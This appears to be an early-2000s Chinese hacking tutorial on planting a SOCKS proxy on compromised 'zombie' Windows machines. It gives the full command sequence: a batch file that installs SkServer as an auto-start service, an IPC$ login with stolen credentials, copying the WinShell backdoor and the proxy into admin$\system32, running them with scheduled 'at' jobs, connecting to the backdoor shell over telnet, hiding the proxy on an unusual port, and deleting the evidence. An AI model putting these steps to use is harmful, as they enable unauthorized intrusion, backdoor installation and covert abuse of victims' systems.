| |
先编辑好一个runsss.bat,内容如下:
sSocks -install (安装skserver)
sSocks -config port 8384 (设置端口为8384)
sSocks -config starttype 2 (设置启动类型为auto)
net start skserver (启动skserver)
然后IPC$登陆到对方机器上
copy sSocks.exe \\255.255.255.255\admin$\system32
copy runsss.bat \\255.255.255.255\admin$\system32
(我觉得把 c$\windows\system32 改成 admin$\system32 更好些,因为对方不一定把系统装在C盘,目录名也不一定是windows,可能是winnt等等。)
然后
net time \\255.255.255.255
at \\255.255.255.255 时间 runsss.bat
时间一到执行完毕后,用QQ测试一下跳板确实能用了,就销毁证据
del \\255.255.255.255\admin$\system32\runsss.bat
然后退出IPC$就可以了
这么做就不用winshell了,步骤少一些减少被发现的几率,而且做好一个bat以后一劳永逸,还可用在别的机器上。适用于只想在肉鸡上做跳板,不想做其他事情的人,因为要做别的事还是需要telnet的。
班门弄斧了,别笑我啊,嘿嘿~~~~~~
上面压缩包中有本文提到的两个软件
关于如何在自己的肉鸡上安装代理服务器 —— 风啸天
首先我们先对他进行速度上的测试,看看他的带宽大概是多少:
——————————————————————————————————————
C:\Documents and Settings\风啸天>ping 255.255.255.255
Reply from 255.255.255.255: bytes=32 time=200ms TTL=111
Reply from 255.255.255.255: bytes=32 time=218ms TTL=111
Reply from 255.255.255.255: bytes=32 time=203ms TTL=111
Reply from 255.255.255.255: bytes=32 time=218ms TTL=111
Ping statistics for 255.255.255.255:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 200ms, Maximum = 218ms, Average = 209ms
—————————————————————————————————————
非常不错,这台鸡的速度很好,我决定要了,呵呵~国外的能有这么快已经不错了,不会是传说中的夜光鸡吧?
—————————————————————————————————————
C:\Documents and Settings\风啸天>net use \\255.255.255.255\c$ ******* /user:*******
命令成功完成。
E:\网络工具包\WinShell>copy sserver.exe \\255.255.255.255\c$\windows\system32
已复制 1 个文件。
E:\网络工具包>copy sSocks.exe \\255.255.255.255\c$\windows\system32
已复制 1 个文件。
—————————————————————————————————————
不用我说大家也应该清楚了,我复制了两个文件到他的SYSTEM32 目录
两个文件分别是sServer.exe (WinShell后门程序 ) sSocks.exe ( SKserver 代理服务器程序)
—————————————————————————————————————
C:\Documents and Settings\风啸天>net time \\255.255.255.255
\\255.255.255.255 的当前时间是 2002/8/15 上午 12:08
在 \\255.255.255.255 的本地时间 (GMT+09:00) 是 2002/8/15 上午 01:08
命令成功完成。
C:\Documents and Settings\风啸天>at \\255.255.255.255 1:10 c:\windows\system32\sserver.exe
新加了一项作业,其作业 ID = 1
C:\Documents and Settings\风啸天>at \\255.255.255.255
状态 ID 日期 时间 命令行
--------------------------------------------------------------------------
1 今天 上午 01:10 c:\windows\system32\sserver.exe
—————————————————————————————————————
看过以前弱口令的都很清楚的明白,我们已经让他运行了指定的后门程序
—————————————————————————————————————
C:\Documents and Settings\风啸天>Telnet 255.255.255.255 1126
Welcome to Linleicd.com - ******
WinShell v5.0 (C)2002 janker.org
? for help
CMD>
CMD>S
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
—————————————————————————————————————
从这里开始才是教程的关键~(也都快结束了·······)
—————————————————————————————————————
C:\WINDOWS\system32>
C:\WINDOWS\system32>sSocks /?
—————————————————————————————————————
首先,我们来看看这个Socks 程序能为我们做些什么
—————————————————————————————————————
SkServer - is freeware, All Rights Reserved by snake.2001.
Run with paramater below list:
-Install (Install the service)
-Remove (Remove the service)
-Debug 1813 (Run as console program at port 1813)
~ Next are about service registry value setting ~
-config Show [Port/StartType/Client/SkServer] (Show current config)
-config Port [NewPort] (Set/Show SkServer's Port)
-config StartType [1~3] (Set/Show StartType)
( 2-Auto, 3-Manual, 4-Disable)
-config Client [add/del/change] [IP Mask Enable]
(Show/add/del/change Client Set)
-config SkServer [add/del/change] [IP Port Enable]
(Show/add/del/change Pass Skserver Set)
visit my homepage: [http://snake12.top263.net]
[http://flushprogram.home.chinaren.com]
—————————————————————————————————————
安装这个代理服务器程序的命令是-install 好的,我们安装它
—————————————————————————————————————
C:\WINDOWS\system32>sSocks -install
ssocks -install
Snake SockProxy Service installed.
—————————————————————————————————————
修改端口为我们指定的端口,不然很容易被代理猎手扫描到
—————————————————————————————————————
C:\WINDOWS\system32>sSocks -config port 8384
The Port value have set to 8384
—————————————————————————————————————
用 Net start 让对方启动这个服务
—————————————————————————————————————
C:\WINDOWS\system32>net start skserver
net start skserver
Snake SockProxy Service 辑厚胶甫 矫累钦聪促..
Snake SockProxy Service 辑厚胶啊 肋 矫累登菌嚼聪促.
—————————————————————————————————————
最后我们检查代理服务器的运做情况(也可以直接用QQ来试,用户名和密码都没有)
—————————————————————————————————————
C:\WINDOWS\system32>netstat -a -n
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:8384 0.0.0.0:0 LISTENING
|
|